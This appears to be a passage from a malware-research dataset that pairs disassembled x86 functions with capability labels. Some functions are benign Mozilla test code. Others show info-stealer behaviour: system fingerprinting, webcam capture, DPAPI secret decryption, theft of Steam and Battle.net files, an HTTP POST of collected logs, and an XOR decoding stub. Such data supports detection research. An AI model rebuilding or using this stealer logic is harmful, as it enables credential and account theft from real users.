joyce8/EMBER2024-capa huggingface dataset:
Function at 0x408e00
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x2c
mov eax, dword [0x40f014]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov bl, 1
cmp dword [ecx + 0x38], 0
je 0x408ea2
mov esi, ecx
cmp byte [ecx + 0x3d], 0
je 0x408ea2
mov eax, dword [esi]
mov edi, dword [eax + 0xc]
mov ecx, edi
call dword [section..00cfg]
mov ecx, esi
push 0xffffffffffffffff
call edi
cmp eax, 0xffffffff
je 0x408ea0
mov ebx, dword [esi + 0x38]
lea eax, [esi + 0x40]
mov dword [ebp - 0x38], eax
mov eax, dword [ebx]
mov edi, dword [eax + 0x20]
mov ecx, edi
call dword [section..00cfg]
lea eax, [ebp - 0x34]
lea edx, [ebp - 0x30]
mov ecx, ebx
mov ebx, edx
push eax
lea eax, [ebp - 0x10]
push eax
push edx
push dword [ebp - 0x38]
call edi
cmp eax, 3
je 0x408eb6
cmp eax, 1
je 0x408e7c
test eax, eax
jne 0x408ea0
mov byte [esi + 0x3d], 0
mov edi, dword [ebp - 0x34]
sub edi, ebx
je 0x408e97
push dword [esi + 0x4c]
push edi
push 1
push ebx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
cmp edi, eax
jne 0x408ea0
cmp byte [esi + 0x3d], 0
sete bl
jmp 0x408ea2
xor ebx, ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00407d10
mov eax, ebx
add esp, 0x2c
pop esi
pop edi
pop ebx
pop ebp
ret
mov byte [esi + 0x3d], 0
mov bl, 1
jmp 0x408ea2
Function at 0x8e1124
Capabilities:
Encode data using xor

Disassembly:
pushal
call 0x8e112a
pop ebp
sub ebp, 6
sub ebp, 0x4e1124
jmp 0x8e1188
jmp 0x8e1191
mov eax, 0x4e1124
add eax, ebp
add eax, 0x93
mov ecx, 0x63f
mov edx, 0xa3eea8e6
xor byte [eax], dl
inc eax
dec ecx
jne 0x8e11a8
jmp 0x8e11bb
mov word [esi - 0x19091972], fs
out 0x8e, al
out 0x2a, al
retf 0x67e6

Function at 0x414dd0
Capabilities:
Encode data using xor

Disassembly:
xor dword [ebx], eax
inc edi
inc esi
sub esi, 0x1159c3b6
add ebx, 4
inc esi
push edx
mov edi, dword [esp]
add esp, 4
cmp ebx, ecx
jne fcn.00414dd0
inc edi
ret
Function at 0x40117b
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, ecx
xor ebx, ebx
push edi
lea edi, [esi + 0x14]
mov dword [esi], 0x4071c4
cmp dword [edi], ebx
je 0x40120c
push str._mozilla.org_observer_service_1
mov edx, 0x408ec0
mov dword [ebp - 4], ebx
lea ecx, [ebp - 4]
call fcn.00405294
mov eax, dword [ebp - 4]
test eax, eax
je 0x4011ec
mov ecx, dword [eax]
push ebx
push str.profile_change_net_teardown
push ebx
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_change_teardown
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_before_change
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push ebx
push str.profile_before_change2
push ebx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov eax, dword [edi]
push 1
push eax
mov ecx, dword [eax]
call dword [ecx + 0x4c]
xor edx, edx
mov ecx, edi
call fcn.00405381
mov eax, dword [ebp - 4]
test eax, eax
je 0x40120c
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov ecx, dword [esi + 0xc]
test ecx, ecx
je 0x401243
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
push ebx
mov dword [esi + 0xc], ebx
call dword [sym.imp.xul.dll_NS_ShutdownXPCOM]
pop ecx
mov ecx, eax
shr ecx, 0x1f
test cl, 1
je 0x401243
push eax
push str.XPCOM_shutdown_failed_with_code_0x_x
call fcn.00401b99
pop ecx
pop ecx
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push dword [esi + 8]
push str.Finished_running__s_tests._n
call fcn.0040505f
pop ecx
pop ecx
mov ecx, dword [esi + 0x1c]
test ecx, ecx
je 0x40125f
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x40126c
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [edi]
test ecx, ecx
je 0x401278
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov ecx, dword [esi + 0x10]
pop edi
pop esi
pop ebx
test ecx, ecx
je 0x401288
mov eax, dword [ecx]
push ecx
call dword [eax + 8]
mov esp, ebp
pop ebp
ret

Function at 0x401469
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [0x40ea8c]
mov edx, dword [ebp + 8]
mov eax, dword [0x40ea88]
test ecx, ecx
je 0x40149f
mov ecx, dword [ecx + eax*4]
cmp dword [edx + 8], ecx
je 0x40149f
push ecx
push dword [edx + 8]
push str.DoTransaction_expected__d_got__d._n
call fcn.00401b99
add esp, 0xc
push 0xffffffffffffffff
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
inc eax
mov dword [0x40ea88], eax
mov eax, dword [edx + 0xc]
and al, 1
movsx eax, al
neg eax
sbb eax, eax
and eax, 0x80004005
pop ebp
ret 4
Function at 0x401000
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
lea eax, [ebp - 4]
mov ecx, edx
mov edx, dword [ebp + 8]
push edi
push eax
call fcn.004013c2
mov esi, dword [ebp - 4]
mov ebx, eax
pop ecx
lea ecx, [esi + 0x46]
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push ebx
push str.logs_s
lea ecx, [esi + 6]
mov edi, eax
push ecx
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x10
xor esi, esi
push esi
push esi
push esi
push 1
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_65.0.3325.181_Safari_537.36
call dword [sym.imp.WININET.dll_InternetOpenW]
push esi
push esi
push 3
push esi
push esi
push 0x50
push str.127.0.0.1
push eax
mov dword [ebp - 8], eax
call dword [sym.imp.WININET.dll_InternetConnectW]
push esi
push 0x80000000
push esi
push esi
push esi
push str._api.php
push str.POST
push eax
mov dword [ebp - 4], eax
call dword [sym.imp.WININET.dll_HttpOpenRequestW]
push edi
mov esi, eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push edi
mov edi, str.Content_Type:_application_x_www_form_urlencoded
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push edi
push esi
call dword [sym.imp.WININET.dll_HttpSendRequestW]
test eax, eax
je 0x4010d6
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push dword [ebp - 4]
call esi
push dword [ebp - 8]
call esi
test ebx, ebx
je 0x4010d6
push ebx
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret

Function at 0x4014e9
Capabilities:
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x289c
call fcn.00468990
lea ecx, [ebp - 0x1c]
mov dword [ebp - 8], 0x2010201
mov dword [ebp - 4], 0x2010201
call fcn.004014c1
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], 0x2880
push eax
lea eax, [ebp - 0x289c]
push eax
call dword [sym.imp.IPHLPAPI.DLL_GetAdaptersInfo]
lea edx, [ebp - 0x289c]
xor ecx, ecx
mov al, byte [edx + ecx + 0x194]
add byte [ebp + ecx - 8], al
inc ecx
cmp ecx, 8
jl 0x40152c
mov edx, dword [edx]
test edx, edx
jne 0x40152a
push esi
push 0xa4
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
movzx ecx, byte [ebp - 1]
mov esi, eax
movzx eax, byte [ebp - 6]
push ecx
movzx ecx, byte [ebp - 2]
push ecx
movzx ecx, byte [ebp - 3]
push ecx
movzx ecx, byte [ebp - 4]
push ecx
movzx ecx, byte [ebp - 5]
push ecx
push eax
movzx eax, byte [ebp - 7]
push eax
movzx eax, byte [ebp - 8]
push eax
push dword [ebp - 0x10]
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
push str._x_x_x_x_x_x_x_x_x_x_x_x
push 0x64
push esi
call dword [sym.imp.SHLWAPI.dll_wnsprintfA]
add esp, 0x3c
mov eax, esi
pop esi
leave
ret
Function at 0x4015a4
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
mov ebx, ecx
mov esi, edx
push edi
test ebx, ebx
je 0x40166b
cmp esi, 1
jb 0x40166b
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
lea eax, [esi + 0x40]
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 4], eax
xor edx, edx
mov dword [ebp - 8], esi
mov cl, byte [edx + ebx]
mov byte [edx + eax], cl
inc edx
cmp edx, esi
jb 0x4015df
xor ebx, ebx
lea eax, [ebp - 0x10]
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 8]
push eax
call dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
test eax, eax
je 0x401655
mov eax, dword [ebp - 0x10]
add eax, 0x41
push eax
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov ebx, dword [ebp - 0xc]
mov esi, eax
mov eax, dword [ebp - 0x10]
xor edx, edx
test eax, eax
je 0x40162e
mov cl, byte [edx + ebx]
mov byte [edx + esi], cl
inc edx
cmp edx, eax
jb 0x401623
cmp dword [ebp - 4], 0
je 0x401642
push dword [ebp - 4]
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp + 8]
mov eax, dword [ebp - 0x10]
mov dword [ecx], eax
jmp 0x40168a
cmp dword [ebp - 4], ebx
je 0x401667
push dword [ebp - 4]
push ebx
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor eax, eax
jmp 0x40168c
push 0x42
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push 0x475064
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov eax, esi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x4019e1
Capabilities:
Capture webcam image

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ecx
push ebx
mov edi, edx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
push 0x1e0
push 0x280
push ebx
push ebx
push 0x40000000
push str.CapWebCam
call dword [sym.imp.AVICAP32.dll_capCreateCaptureWindowW]
mov esi, eax
test esi, esi
je 0x401acd
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push esi
call ebx
test eax, eax
je 0x401ac2
push 0
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageW]
push 0x40a
push esi
call edi
test eax, eax
je 0x401ac2
push 0x2c
lea eax, [ebp - 0x30]
push 0
push eax
call fcn.00456430
add esp, 0xc
push esi
call ebx
test eax, eax
je 0x401a6a
lea eax, [ebp - 0x30]
push eax
push 0x2c
push 0x40e
push esi
call edi
cmp dword [ebp - 0x1c], 0
je 0x401ac2
push esi
call ebx
test eax, eax
je 0x401a83
push 0
push 1
push 0x435
push esi
call edi
push esi
call ebx
test eax, eax
je 0x401a96
push 0
push 0
push 0x43d
push esi
call edi
push esi
call ebx
test eax, eax
je 0x401aaa
push dword [ebp - 4]
push 0
push 0x47d
push esi
call edi
push esi
call ebx
test eax, eax
je 0x401abd
push 0
push 0
push 0x40b
push esi
call edi
xor edi, edi
inc edi
jmp 0x401ac4
xor edi, edi
push esi
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x401b29
Capabilities:
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
lea eax, [ebp - 8]
push edi
push edi
push eax
mov esi, ecx
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
lea eax, [ebp - 4]
push eax
je 0x401b97
push 2
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x401b83
mov cx, word [ebp - 4]
movzx eax, cl
movzx ecx, ch
xor eax, ecx
mov ecx, 0x383
cdq
idiv ecx
add edx, 0x64
mov dword [esi], edx
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x401ba5
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401b77
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
leave
ret
Function at 0x401ba9
Capabilities:
Create new key via cryptacquirecontext
Generate random numbers via winapi

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov ebx, ecx
push 0x140
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0xf0000000
push 1
push 0
mov esi, eax
lea eax, [ebp - 4]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x401c17
push esi
push pe_nt_image_headers32
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptGenRandom]
test eax, eax
je 0x401c05
mov dword [ebx], esi
push 0
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
jmp 0x401c27
test esi, esi
je 0x401bf8
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x401bf8
test esi, esi
je 0x401c27
push esi
push 0
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401c2c
Capabilities:
Get geographical location
Get hostname
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0x10
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
mov edi, dword [sym.imp.KERNEL32.dll_GetGeoInfoW]
mov ebx, eax
xor eax, eax
push eax
push eax
push eax
push 4
push ebx
call edi
push 0x248
push 8
mov esi, eax
mov dword [ebp - 0x14], 0x104
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x248
push 8
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x248
push 8
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esi*2 + 0x42]
mov dword [ebp - 8], eax
push ecx
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea ecx, [esi*2 + 2]
mov dword [ebp - 0x10], eax
push ecx
push 0
push eax
call fcn.00456430
add esp, 0xc
lea eax, [ebp - 0x14]
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x104
push dword [ebp - 8]
push str.USERNAME
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push 0
push esi
mov esi, dword [ebp - 0x10]
push esi
push 4
push ebx
call edi
mov eax, dword [ebp - 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x401daf
cmp dword [ebp - 4], 0
je 0x401d9f
cmp dword [ebp - 8], 0
je 0x401d9f
test esi, esi
je 0x401d9f
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push 0x440
push 8
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push esi
push dword [ebp - 8]
mov esi, dword [ebp - 0xc]
mov edi, eax
push dword [ebp - 4]
push esi
push str.System_Information___r_n_r_nComputer_Name:__s_r_n_r_nHardware_id:__s_r_n_r_nUser_name:__s_r_n_r_nComputer_country:__s_r_n_r_n
push 0x200
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x1c
push esi
push 0
call ebx
mov esi, dword [sym.imp.KERNEL32.dll_HeapFree]
push eax
call esi
push dword [ebp - 4]
push 0
call ebx
push eax
call esi
push dword [ebp - 8]
push 0
call ebx
push eax
call esi
mov eax, dword [ebp - 0x10]
push eax
push 0
call ebx
push eax
call esi
mov eax, edi
jmp 0x401de1
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
push 0
call ebx
push eax
call edi
jmp 0x401db5
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov eax, dword [ebp - 4]
test eax, eax
je 0x401dc4
push eax
push 0
call ebx
push eax
call edi
mov eax, dword [ebp - 8]
test eax, eax
je 0x401dd3
push eax
push 0
call ebx
push eax
call edi
test esi, esi
je 0x401ddf
push esi
push 0
call ebx
push eax
call edi
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401de6
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
test edx, edx
je 0x401e01
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401dfe
test al, 0x10
jne 0x401dfe
xor eax, eax
inc eax
ret
xor eax, eax
ret
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x401dfe
and eax, 0x10
ret
Function at 0x402fa6
Capabilities:
Encode data using xor
Enumerate files on windows
Enumerate files recursively
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x268
push ebx
push esi
push edi
push 0x248
mov esi, ecx
mov dword [ebp - 8], edx
push 8
mov dword [ebp - 0xc], esi
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov edi, eax
test edi, edi
je 0x40310d
push esi
push str._s
push 0x104
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
add esp, 0x10
lea eax, [ebp - 0x264]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebx, eax
mov dword [ebp - 0x14], ebx
cmp ebx, 0xffffffff
je 0x4030fd
lea eax, [ebp - 0x238]
push eax
push esi
push 0x475198
push 0x104
push edi
call dword [sym.imp.SHLWAPI.dll_wnsprintfW]
mov eax, dword [ebp - 0x264]
add esp, 0x14
test al, 0x10
je 0x403071
push 0x4751a4
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40306b
push 0x4751a8
lea eax, [ebp - 0x238]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x40306b
push dword [ebp + 8]
mov edx, dword [ebp - 8]
mov ecx, edi
call fcn.00402fa6
pop ecx
jmp 0x4030e0
mov eax, dword [ebp - 0x264]
test al, 0xa7
je 0x4030e0
push edi
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov esi, eax
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
or edx, 0xffffffff
mov dword [ebp - 0x10], eax
test eax, eax
je 0x4030ae
mov ebx, eax
movzx eax, word [esi]
lea esi, [esi + 2]
movzx ecx, dl
xor ecx, eax
shr edx, 8
xor edx, dword [ecx*4 + 0x470e88]
sub ebx, 1
jne 0x403091
mov ebx, dword [ebp - 0x14]
not edx
cmp edx, dword [ebp + 8]
jne 0x4030dd
push 0x248
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ecx, dword [ebp - 8]
mov edx, esi
call fcn.00451276
mov esi, dword [ebp - 0xc]
lea eax, [ebp - 0x264]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x403009
push ebx
call dword [sym.imp.KERNEL32.dll_FindClose]
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403867
Capabilities:
Check if file exists
Get file attributes
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push esi
push edi
push eax
push str.SOFTWAREValveSteam
push 0x80000002
mov esi, edx
mov edi, ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
jne 0x40391a
cmp dword [ebp - 4], eax
je 0x40391a
lea eax, [ebp - 8]
mov dword [ebp - 8], 0x104
push eax
lea eax, [ebp - 0x228]
mov dword [ebp - 0xc], 1
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.InstallPath
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40391a
lea eax, [ebp - 0x228]
mov dword [ebp - 0x18], str.loginusers.vdf
push eax
mov dword [ebp - 0x14], str.config.vdf
mov dword [ebp - 0x10], str.ssfn
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x40391a
test eax, 0x10
je 0x40391a
push 0
lea eax, [ebp - 0x228]
mov edx, esi
push eax
push edi
push 1
push str.Steam_Files
push 3
lea ecx, [ebp - 0x18]
call fcn.004020b4
add esp, 0x18
pop edi
pop esi
leave
ret

Function at 0x40391e
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
mov edi, ecx
mov ebx, edx
mov ecx, str.APPDATA
mov dword [ebp - 8], ebx
mov dword [ebp - 4], edi
call fcn.00401e10
mov esi, eax
push 0x4756e0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x403984
test eax, 0x10
je 0x403984
push 0
push esi
push edi
push 1
push str.Battle.net
push 2
mov edx, ebx
mov dword [ebp - 0x10], str..config
lea ecx, [ebp - 0x10]
mov dword [ebp - 0xc], 0x475708
call fcn.004020b4
add esp, 0x18
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
mov ebx, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
test esi, esi
je 0x40399c
push esi
push 0
call ebx
push eax
call edi
mov ecx, 0x4752ec
call fcn.00401e10
mov esi, eax
push 0x4756e0
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x4039f2
test eax, 0x10
je 0x4039f2
mov edx, dword [ebp - 8]
lea ecx, [ebp - 0x10]
push 0
push esi
push dword [ebp - 4]
mov dword [ebp - 0x10], str..config
push 1
push str.Battle.net
push 2
mov dword [ebp - 0xc], 0x475708
call fcn.004020b4
add esp, 0x18
test esi, esi
je 0x4039fe
push esi
push 0
call ebx
push eax
call edi
pop edi
pop esi
pop ebx
leave
ret
Function at 0x403b02
Capabilities:
Delete file
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xac
push ebx
push esi
push edi
push 0x1003e
push 8
mov ebx, edx
mov dword [ebp - 4], ecx
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push 0x7fff
mov edi, eax
push edi
push str.TEMP
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
push str.webcam.bmp
push edi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
xor esi, esi
push 0x50
lea eax, [ebp - 0x58]
push eax
push 0x50
lea eax, [ebp - 0xa8]
push eax
push esi
call dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
test eax, eax
jne 0x403b6a
inc esi
cmp esi, 9
jl 0x403b48
jmp 0x403b7e
cmp esi, 0xffffffff
je 0x403b7e
sub esp, 0xc
mov edx, esi
mov ecx, edi
call fcn.004019e1
add esp, 0xc
mov ecx, dword [ebp - 4]
mov edx, str.WebCam.bmp
push 2
push 0
push edi
call fcn.0045507c
add esp, 0xc
test eax, eax
jne 0x403b9d
mov dword [ebx], 1
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42799a
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
mov esi, edx
mov ebx, ecx
mov dword [ebp - 0xc], ebx
push edi
test esi, esi
je 0x4279f3
push 8
pop edx
call fcn.00406c2d
mov edi, eax
mov dword [ebp - 0x14], edi
test edi, edi
je 0x4279f3
test byte [ebp + 8], 1
mov ecx, dword [esi]
mov dword [edi], ecx
jne 0x4279d6
xor ecx, ecx
inc ecx
cmp dword [esi], ecx
jle 0x4279d6
add ecx, ecx
cmp ecx, dword [esi]
jl 0x4279d0
imul edx, ecx, 0x18
mov ecx, ebx
call fcn.00406c2d
mov ebx, eax
mov dword [edi + 4], ebx
test ebx, ebx
jne 0x4279fa
mov ecx, dword [ebp - 0xc]
mov edx, edi
call fcn.00406a60
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
mov ecx, dword [esi + 4]
xor eax, eax
mov dword [ebp - 4], ecx
mov dword [ebp - 0x10], eax
cmp dword [esi], eax
jle 0x427a80
mov edi, dword [ebp - 0xc]
lea eax, [ebx + 0x10]
mov dword [ebp - 8], eax
sub ebx, ecx
mov edx, dword [ecx]
mov ecx, edi
push dword [ebp + 8]
call fcn.00427989
pop ecx
mov ecx, dword [ebp - 4]
mov dword [ebx + ecx], eax
mov edx, dword [ecx + 4]
mov ecx, edi
call fcn.00406d55
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
mov dword [ecx - 0xc], eax
mov ecx, edi
mov edx, dword [edx + 8]
call fcn.00406d55
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov dword [edx - 8], eax
mov al, byte [ecx + 0xc]
and dword [edx], 0xfffffffe
mov byte [edx - 4], al
mov eax, dword [ecx + 0x10]
xor eax, dword [edx]
and eax, 2
xor dword [edx], eax
mov eax, dword [ecx + 0x14]
add ecx, 0x18
mov dword [edx + 4], eax
add edx, 0x18
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 8], edx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ecx
cmp eax, dword [esi]
jl 0x427a14
mov edi, dword [ebp - 0x14]
mov eax, edi
jmp 0x4279f5